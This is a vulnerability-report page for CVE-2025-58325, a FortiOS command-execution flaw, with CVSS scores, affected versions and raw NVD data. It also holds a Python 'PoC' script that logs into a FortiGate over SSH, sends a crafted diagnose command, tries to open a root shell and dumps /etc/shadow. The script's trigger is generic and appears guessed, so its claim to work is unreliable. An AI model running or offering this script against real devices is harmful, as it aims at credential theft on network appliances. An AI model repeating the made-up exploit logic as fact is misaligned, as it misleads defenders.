Security Vulnerability Report
中文
CVE-2025-58325 CVSS 8.2 HIGH

CVE-2025-58325

Published: 2025-10-14 16:15:41
Last Modified: 2025-10-14 20:22:50

Description

An Incorrect Provision of Specified Functionality vulnerability [CWE-684] in FortiOS 7.6.0, 7.4.0 through 7.4.5, 7.2.5 through 7.2.10, 7.0.0 through 7.0.15, 6.4 all versions may allow a local authenticated attacker to execute system commands via crafted CLI commands.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fortinet:fortios:7.6.0:*:*:*:*:*:*:* - VULNERABLE
FortiOS 7.6.0
FortiOS 7.4.0 - 7.4.5
FortiOS 7.2.5 - 7.2.10
FortiOS 7.0.0 - 7.0.15
FortiOS 6.4(全部版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58325 - FortiOS CLI Command Injection PoC # Vulnerability: CWE-684 Incorrect Provision of Specified Functionality # Affected: FortiOS 7.6.0, 7.4.0-7.4.5, 7.2.5-7.2.10, 7.0.0-7.0.15, 6.4.x # Requirements: Local access + High-privilege authenticated session import paramiko import sys def exploit_fortios_cve_2025_58325(host, port, username, password): """ Exploit CVE-2025-58325: Execute system commands via crafted CLI commands on vulnerable FortiOS versions. """ try: # Step 1: Establish SSH connection to FortiGate device client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(host, port=port, username=username, password=password, timeout=10) # Step 2: Open interactive shell session shell = client.invoke_shell() # Step 3: Execute crafted CLI command to trigger the vulnerability # The vulnerability lies in incorrect provision of specified functionality # allowing system command execution through specially crafted CLI input crafted_command = "diagnose sys system cli exec \"id\"" shell.send(crafted_command + "\n") # Step 4: Read command output import time time.sleep(2) output = shell.recv(4096).decode('utf-8', errors='ignore') print(f"[+] Command output: {output}") # Step 5: Attempt privilege escalation to root escalation_cmd = "execute shell\n" shell.send(escalation_cmd) time.sleep(1) # Step 6: Execute system-level commands system_cmd = "cat /etc/shadow\n" shell.send(system_cmd) time.sleep(2) result = shell.recv(4096).decode('utf-8', errors='ignore') print(f"[+] System command result: {result}") client.close() return True except Exception as e: print(f"[-] Exploit failed: {e}") return False if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: {sys.argv[0]} <host> <port> <username> <password>") print(f"Example: {sys.argv[0]} 192.168.1.1 22 admin password123") sys.exit(1) host, port, username, password = sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4] exploit_fortios_cve_2025_58325(host, port, username, password)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58325", "sourceIdentifier": "[email protected]", "published": "2025-10-14T16:15:40.767", "lastModified": "2025-10-14T20:22:50.327", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Incorrect Provision of Specified Functionality vulnerability [CWE-684] in FortiOS 7.6.0, 7.4.0 through 7.4.5, 7.2.5 through 7.2.10, 7.0.0 through 7.0.15, 6.4 all versions may allow a local authenticated attacker to execute system commands via crafted CLI commands."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.5, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-684"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.4.0", "versionEndExcluding": "7.0.16", "matchCriteriaId": "FA0532A5-31F2-4A92-BF31-6003E28AC948"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.2.0", "versionEndExcluding": "7.2.11", "matchCriteriaId": "4386465B-EFF9-41BA-B393-82135A2591DE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.6", "matchCriteriaId": "199954FD-1280-46F8-8515-7591CE75A1E5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:7.6.0:*:*:*:*:*:*:*", "matchCriteriaId": "44CE8EE3-D64A-49C8-87D7-C18B302F864A"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-24-361", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}